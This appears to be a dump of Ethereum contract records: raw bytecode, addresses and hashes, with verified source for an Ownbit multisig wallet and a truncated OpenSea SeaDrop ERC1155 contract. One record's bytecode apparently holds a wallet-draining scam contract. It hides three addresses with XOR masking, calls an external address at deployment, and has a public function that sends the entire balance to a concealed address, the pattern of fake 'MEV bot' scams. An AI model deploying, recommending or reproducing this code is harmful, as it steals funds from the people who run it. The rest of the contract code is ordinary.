506020610dc78a828b016109b0565b965050604088013567ffffffffffffffff811115610de857610de7610968565b5b610df48a828b01610c62565b955050606088013567ffffffffffffffff811115610e1557610e14610968565b5b610e218a828b01610d5b565b945050608088013567ffffffffffffffff811115610e4257610e41610968565b5b610e4e8a828b01610d5b565b93505060a088013567ffffffffffffffff811115610e6f57610e6e610968565b5b610e7b8a828b016109d4565b925092505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b610ec1816108db565b82525050565b6000610ed38383610eb8565b60208301905092915050565b6000602082019050919050565b6000610ef782610e8c565b610f018185610e97565b9350610f0c83610ea8565b8060005b83811015610f3d578151610f248882610ec7565b9750610f2f83610edf565b925050600181019050610f10565b5085935050505092915050565b60006020820190508181036000830152610f648184610eec565b905092915050565b60008060008060008060a08789031215610f8957610f88610963565b5b6000610f9789828a01610984565b9650506020610fa889828a01610984565b9550506040610fb989828a016109b0565b9450506060610fca89828a016109b0565b935050608087013567ffffffffffffffff811115610feb57610fea610968565b5b610ff789828a016109d4565b92509250509295509295509295565b600082825260208201905092915050565b7f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c66000000600082015250565b600061104d601d83611006565b915061105882611017565b602082019050919050565b6000602082019050818103600083015261107c81611040565b9050919050565b7f696e76616c6964207369676e6174757265730000000000000000000000000000600082015250565b60006110b9601283611006565b91506110c482611083565b602082019050919050565b600060208201905081810360008301526110e8816110ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611129826108fc565b9150611134836108fc565b925082820190508082111561114c5761114b6110ef565b5b92915050565b600081905092915050565b82818337600083830152505050565b60006111788385611152565b935061118583858461115d565b82840190509392505050565b600061119e82848661116c565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006111e482610bc0565b91506111ef83610bc0565b9250828201905060ff811115611208576112076110ef565b5b92915050565b61121781610cbc565b82525050565b61122681610bc0565b82525050565b6000608082019050611241600083018761120e565b61124e602083018661121d565b61125b604083018561120e565b611268606083018461120e565b95945050505050565b600061127c826108fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036112ae576112ad6110ef565b5b600182019050919050565b600081519050919050565b60005b838110156112e25780820151818401526020810190506112c7565b60008484015250505050565b60006112f9826112b9565b6113038185611152565b93506113138185602086016112c4565b80840191505092915050565b6000819050919050565b61133a61133582610cbc565b61131f565b82525050565b600061134c82856112ee565b91506113588284611329565b6020820191508190509392505050565b60008160601b9050919050565b600061138082611368565b9050919050565b600061139282611375565b9050919050565b6113aa6113a5826108db565b611387565b82525050565b6000819050919050565b6113cb6113c6826108fc565b6113b0565b82525050565b60006113dd8288611399565b6014820191506113ed8287611399565b6014820191506113fd82866113ba565b60208201915061140d82856112ee565b915061141982846113ba565b602082019150819050969550505050505056fea26469706673582212207814c6826ba0a1cd65cbabb7fec975a43710687fd922ba4dea534f426fad55da64736f6c63430008110033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000004000000000000000000000000f53b80ff53537dc2b74be5031affd41758a857800000000000000000000000007bd4d089f710c99fb9752a4d646c8242a17cdeb30000000000000000000000008062b5caa02c2083b833e56770547142a68c4c8b0000000000000000000000002179f762d550f8781f92c865e28e5f91b429920e
|
6080604052600436106100745760003560e01c8063a0e67e2b1161004e578063a0e67e2b1461014b578063c6a2a9f114610176578063d74f8edd146101a1578063f23a6e61146101cc57610075565b80631398a5f6146100ba578063150b7a02146100e55780637c99df4a1461012257610075565b5b60003411156100b8577f5af8184bef8e4b45eb9f6ed7734d04da38ced226495548f46e0c8ff8d7d9a52433346040516100af929190610915565b60405180910390a15b005b3480156100c657600080fd5b506100cf610209565b6040516100dc919061093e565b60405180910390f35b3480156100f157600080fd5b5061010c60048036038101906101079190610a2a565b610213565b6040516101199190610aed565b60405180910390f35b34801561012e57600080fd5b5061014960048036038101906101449190610d89565b610241565b005b34801561015757600080fd5b50610160610412565b60405161016d9190610f4a565b60405180910390f35b34801561018257600080fd5b5061018b6104a0565b604051610198919061093e565b60405180910390f35b3480156101ad57600080fd5b506101b66104aa565b6040516101c3919061093e565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190610f6c565b6104af565b6040516102009190610aed565b60405180910390f35b6000600254905090565b60007f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f905095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036102af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a690611063565b60405180910390fd5b610301878787878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506104de565b610340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610337906110cf565b60405180910390fd5b600160035461034f919061111e565b6003819055506000808873ffffffffffffffffffffffffffffffffffffffff16888585604051610380929190611191565b60006040518083038185875af1925050503d80600081146103bd576040519150601f19603f3d011682016040523d82523d6000602084013e6103c2565b606091505b50915091508115610407577fd3eec71143c45f28685b24760ea218d476917aa0ac0392a55e5304cef40bd2b689896040516103fe929190610915565b60405180910390a15b505050505050505050565b6060600180548060200260200160405190810160405280929190818152602001828054801561049657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161044c575b5050505050905090565b6000600354905090565b600981565b60007ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b600083518551146104ee57600080fd5b82518451146104fc57600080fd5b6001805490508551111561050f57600080fd5b6002548551101561051f57600080fd5b600061052c8888856106b4565b90506000865167ffffffffffffffff81111561054b5761054a610b19565b5b6040519080825280602002602001820160405280156105795781602001602082028036833780820191505090505b50905060005b875181101561069157600183601b8a84815181106105a05761059f6111aa565b5b60200260200101516105b291906111d9565b8984815181106105c5576105c46111aa565b5b60200260200101518985815181106105e0576105df6111aa565b5b602002602001015160405160008152602001604052604051610605949392919061122c565b6020604051602081039080840390855afa158015610627573d6000803e3d6000fd5b50505060206040510351828281518110610644576106436111aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808061068990611271565b91505061057f565b5061069b81610732565b6106a457600080fd5b6001925050509695505050505050565b6000806106c285858561087a565b905060006040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090508082604051602001610711929190611340565b60405160208183030381529060405280519060200120925050509392505050565b60006001805490508251111561074b5760009050610875565b60005b825181101561086f5760008084838151811061076d5761076c6111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107cb576000915050610875565b60005b8181101561085b578381815181106107e9576107e86111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684838151811061081a576108196111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff160361084857600092505050610875565b808061085390611271565b9150506107ce565b50808061086790611271565b91505061074e565b50600190505b919050565b600080308585856003546040516020016108989594939291906113d1565b604051602081830303815290604052805190602001209050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006108e6826108bb565b9050919050565b6108f6816108db565b82525050565b6000819050919050565b61090f816108fc565b82525050565b600060408201905061092a60008301856108ed565b6109376020830184610906565b9392505050565b60006020820190506109536000830184610906565b92915050565b6000604051905090565b600080fd5b600080fd5b610976816108db565b811461098157600080fd5b50565b6000813590506109938161096d565b92915050565b6109a2816108fc565b81146109ad57600080fd5b50565b6000813590506109bf81610999565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126109ea576109e96109c5565b5b8235905067ffffffffffffffff811115610a0757610a066109ca565b5b602083019150836001820283011115610a2357610a226109cf565b5b9250929050565b600080600080600060808688031215610a4657610a45610963565b5b6000610a5488828901610984565b9550506020610a6588828901610984565b9450506040610a76888289016109b0565b935050606086013567ffffffffffffffff811115610a9757610a96610968565b5b610aa3888289016109d4565b92509250509295509295909350565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610ae781610ab2565b82525050565b6000602082019050610b026000830184610ade565b92915050565b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610b5182610b08565b810181811067ffffffffffffffff82111715610b7057610b6f610b19565b5b80604052505050565b6000610b83610959565b9050610b8f8282610b48565b919050565b600067ffffffffffffffff821115610baf57610bae610b19565b5b602082029050602081019050919050565b600060ff82169050919050565b610bd681610bc0565b8114610be157600080fd5b50565b600081359050610bf381610bcd565b92915050565b6000610c0c610c0784610b94565b610b79565b90508083825260208201905060208402830185811115610c2f57610c2e6109cf565b5b835b81811015610c585780610c448882610be4565b845260208401935050602081019050610c31565b5050509392505050565b600082601f830112610c7757610c766109c5565b5b8135610c87848260208601610bf9565b91505092915050565b600067ffffffffffffffff821115610cab57610caa610b19565b5b602082029050602081019050919050565b6000819050919050565b610ccf81610cbc565b8114610cda57600080fd5b50565b600081359050610cec81610cc6565b92915050565b6000610d05610d0084610c90565b610b79565b90508083825260208201905060208402830185811115610d2857610d276109cf565b5b835b81811015610d515780610d3d8882610cdd565b845260208401935050602081019050610d2a565b5050509392505050565b600082601f830112610d7057610d6f6109c5565b5b8135610d80848260208601610cf2565b91505092915050565b600080600080600080600060c0888a031215610da857610da7610963565b5b6000610db68a828b01610984565b9750506020610dc78a828b016109b0565b965050604088013567ffffffffffffffff811115610de857610de7610968565b5b610df48a828b01610c62565b955050606088013567ffffffffffffffff811115610e1557610e14610968565b5b610e218a828b01610d5b565b945050608088013567ffffffffffffffff811115610e4257610e41610968565b5b610e4e8a828b01610d5b565b93505060a088013567ffffffffffffffff811115610e6f57610e6e610968565b5b610e7b8a828b016109d4565b925092505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b610ec1816108db565b82525050565b6000610ed38383610eb8565b60208301905092915050565b6000602082019050919050565b6000610ef782610e8c565b610f018185610e97565b9350610f0c83610ea8565b8060005b83811015610f3d578151610f248882610ec7565b9750610f2f83610edf565b925050600181019050610f10565b5085935050505092915050565b60006020820190508181036000830152610f648184610eec565b905092915050565b60008060008060008060a08789031215610f8957610f88610963565b5b6000610f9789828a01610984565b9650506020610fa889828a01610984565b9550506040610fb989828a016109b0565b9450506060610fca89828a016109b0565b935050608087013567ffffffffffffffff811115610feb57610fea610968565b5b610ff789828a016109d4565b92509250509295509295509295565b600082825260208201905092915050565b7f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c66000000600082015250565b600061104d601d83611006565b915061105882611017565b602082019050919050565b6000602082019050818103600083015261107c81611040565b9050919050565b7f696e76616c6964207369676e6174757265730000000000000000000000000000600082015250565b60006110b9601283611006565b91506110c482611083565b602082019050919050565b600060208201905081810360008301526110e8816110ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611129826108fc565b9150611134836108fc565b925082820190508082111561114c5761114b6110ef565b5b92915050565b600081905092915050565b82818337600083830152505050565b60006111788385611152565b935061118583858461115d565b82840190509392505050565b600061119e82848661116c565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006111e482610bc0565b91506111ef83610bc0565b9250828201905060ff811115611208576112076110ef565b5b92915050565b61121781610cbc565b82525050565b61122681610bc0565b82525050565b6000608082019050611241600083018761120e565b61124e602083018661121d565b61125b604083018561120e565b611268606083018461120e565b95945050505050565b600061127c826108fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036112ae576112ad6110ef565b5b600182019050919050565b600081519050919050565b60005b838110156112e25780820151818401526020810190506112c7565b60008484015250505050565b60006112f9826112b9565b6113038185611152565b93506113138185602086016112c4565b80840191505092915050565b6000819050919050565b61133a61133582610cbc565b61131f565b82525050565b600061134c82856112ee565b91506113588284611329565b6020820191508190509392505050565b60008160601b9050919050565b600061138082611368565b9050919050565b600061139282611375565b9050919050565b6113aa6113a5826108db565b611387565b82525050565b6000819050919050565b6113cb6113c6826108fc565b6113b0565b82525050565b60006113dd8288611399565b6014820191506113ed8287611399565b6014820191506113fd82866113ba565b60208201915061140d82856112ee565b915061141982846113ba565b602082019150819050969550505050505056fea26469706673582212207814c6826ba0a1cd65cbabb7fec975a43710687fd922ba4dea534f426fad55da64736f6c63430008110033
|
pragma solidity >=0.8.0 <0.9.0;
// This is the ETH/ERC20/NFT multisig contract for Ownbit.
//
// For 2-of-3 multisig, to authorize a spend, two signtures must be provided by 2 of the 3 owners.
// To generate the message to be signed, provide the destination address and
// spend amount (in wei) to the generateMessageToSign method.
// The signatures must be provided as the (v, r, s) hex-encoded coordinates.
// The S coordinate must be 0x00 or 0x01 corresponding to 0x1b and 0x1c, respectively.
//
// WARNING: The generated message is only valid until the next spend is executed.
// after that, a new message will need to be calculated.
//
//
// INFO: This contract is ERC20/ERC721/ERC1155 compatible.
// This contract can both receive ETH, ERC20 and NFT (ERC721/ERC1155) tokens.
// Last update time: 2022-09-25.
// copyright@ownbit.io
contract OwnbitMultiSig {
uint constant public MAX_OWNER_COUNT = 9;
// The N addresses which control the funds in this contract. The
// owners of M of these addresses will need to both sign a message
// allowing the funds in this contract to be spent.
mapping(address => bool) private isOwner;
address[] private owners;
uint private required;
// The contract nonce is not accessible to the contract so we
// implement a nonce-like variable for replay protection.
uint256 private spendNonce = 0;
// An event sent when funds are received.
event Funded(address from, uint value);
// An event sent when a spend is triggered to the given address.
event Spent(address to, uint value);
modifier validRequirement(uint ownerCount, uint _required) {
require (ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required >= 1);
_;
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint _required) validRequirement(_owners.length, _required) {
for (uint i = 0; i < _owners.length; i++) {
//onwer should be distinct, and non-zero
if (isOwner[_owners[i]] || _owners[i] == address(0x0)) {
revert();
}
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
// The fallback function for this contract.
fallback() external payable {
if (msg.value > 0) {
emit Funded(msg.sender, msg.value);
}
}
// @dev Returns list of owners.
// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
function getSpendNonce() public view returns (uint256) {
return spendNonce;
}
function getRequired() public view returns (uint) {
return required;
}
// Generates the message to sign given the output destination address and amount.
// includes this contract's address and a nonce for replay protection.
// One option to independently verify: https://leventozturk.com/engineering/sha3/ and select keccak
function generateMessageToSign(address destination, uint256 value, bytes memory data) private view returns (bytes32) {
//the sequence must match generateMultiSigV3 in JS
bytes32 message = keccak256(abi.encodePacked(address(this), destination, value, data, spendNonce));
return message;
}
function _messageToRecover(address destination, uint256 value, bytes memory data) private view returns (bytes32) {
bytes32 hashedUnsignedMessage = generateMessageToSign(destination, value, data);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return keccak256(abi.encodePacked(prefix, hashedUnsignedMessage));
}
//destination can be a normal address or a contract address, such as ERC20 contract address.
//value is the wei transferred to the destination.
//data for transfer ether: 0x
//data for transfer erc20 example: 0xa9059cbb000000000000000000000000ac6342a7efb995d63cc91db49f6023e95873d25000000000000000000000000000000000000000000000000000000000000003e8
//data for transfer erc721 example: 0x42842e0e00000000000000000000000097b65ad59c8c96f2dd786751e6279a1a6d34a4810000000000000000000000006cb33e7179860d24635c66850f1f6a5d4f8eee6d0000000000000000000000000000000000000000000000000000000000042134
//data can contain any data to be executed.
function spend(address destination, uint256 value, uint8[] memory vs, bytes32[] memory rs, bytes32[] memory ss, bytes calldata data) external {
require(destination != address(this), "Not allow sending to yourself");
require(_validSignature(destination, value, vs, rs, ss, data), "invalid signatures");
spendNonce = spendNonce + 1;
//transfer tokens from this contract to the destination address
(bool sent, bytes memory _ret) = destination.call{value: value}(data);
if (sent) {
emit Spent(destination, value);
}
}
// Confirm that the signature triplets (v1, r1, s1) (v2, r2, s2) ...
// authorize a spend of this contract's funds to the given destination address.
function _validSignature(address destination, uint256 value, uint8[] memory vs, bytes32[] memory rs, bytes32[] memory ss, bytes memory data) private view returns (bool) {
require(vs.length == rs.length);
require(rs.length == ss.length);
require(vs.length <= owners.length);
require(vs.length >= required);
bytes32 message = _messageToRecover(destination, value, data);
address[] memory addrs = new address[](vs.length);
for (uint i = 0; i < vs.length; i++) {
//recover the address associated with the public key from elliptic curve signature or return zero on error
addrs[i] = ecrecover(message, vs[i]+27, rs[i], ss[i]);
}
require(_distinctOwners(addrs));
return true;
}
// Confirm the addresses as distinct owners of this contract.
function _distinctOwners(address[] memory addrs) private view returns (bool) {
if (addrs.length > owners.length) {
return false;
}
for (uint i = 0; i < addrs.length; i++) {
if (!isOwner[addrs[i]]) {
return false;
}
//address should be distinct
for (uint j = 0; j < i; j++) {
if (addrs[i] == addrs[j]) {
return false;
}
}
}
return true;
}
//support ERC721 safeTransferFrom
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
|
1 | 19,502,318 |
4026ec8c0de357225015db4701768df390e7c8d88b6c530a7cdf56eefe97cfd3
|
dc58614ac72cf5fa3ce5f962327e87642c69981ac1b72fbcb25bb009e621bcfa
|
dd36dd311d9693789ee7527c41ce6381052124a0
|
dd36dd311d9693789ee7527c41ce6381052124a0
|
fd3ff1d88ecc84dac090dfaee6add6ca01240c37
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0de4f643835121597034f4a7c93ebf19333a48301af6007557f8a727dc41d83211e47d3c0de2a711c495996e2725d7612974eed7b758777eaab6008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122011402051ab82d3e54fbbfecc17d9618c83d4274cbe0e888a268677bfdb5a5caf64736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122011402051ab82d3e54fbbfecc17d9618c83d4274cbe0e888a268677bfdb5a5caf64736f6c63430008070033
| |
1 | 19,502,318 |
4026ec8c0de357225015db4701768df390e7c8d88b6c530a7cdf56eefe97cfd3
|
262c5078780948a1107aa37fa2c9b71e79cade9b20e54f1a1efaf1e14a0e45c0
|
d6e16dc745f0eb6b3aaad08f3ff60288fbfc137a
|
000000f20032b9e171844b00ea507e11960bd94a
|
138fd3039290c5a3cbdf83a433b6a205f7076378
|
3d602d80600a3d3981f3363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"src/clones/ERC1155SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/**\n * @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /**\n * @dev Auto-approve the conduit after mint or transfer.\n *\n * @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n */\n function _afterTokenTransfer(\n address /* from */,\n address to,\n uint256[] memory /* ids */,\n uint256[] memory /* amounts */,\n bytes memory /* data */\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /**\n * @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n */\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /**\n * @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /**\n * @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n */\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n"
},
"src/clones/ERC1155SeaDropContractOffererCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /**\n * @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n */\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == ISeaDropToken.updateSigner.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector ||\n selector == ContractOffererInterface.previewOrder.selector ||\n selector == ContractOffererInterface.generateOrder.selector ||\n selector == ContractOffererInterface.getSeaportMetadata.selector ||\n selector == IERC1155SeaDrop.getPublicDrop.selector ||\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector ||\n selector == ISeaDropToken.getAllowedSeaport.selector ||\n selector == ISeaDropToken.getCreatorPayouts.selector ||\n selector == ISeaDropToken.getAllowListMerkleRoot.selector ||\n selector == ISeaDropToken.getAllowedFeeRecipients.selector ||\n selector == ISeaDropToken.getSigners.selector ||\n selector == ISeaDropToken.getDigestIsUsed.selector ||\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == 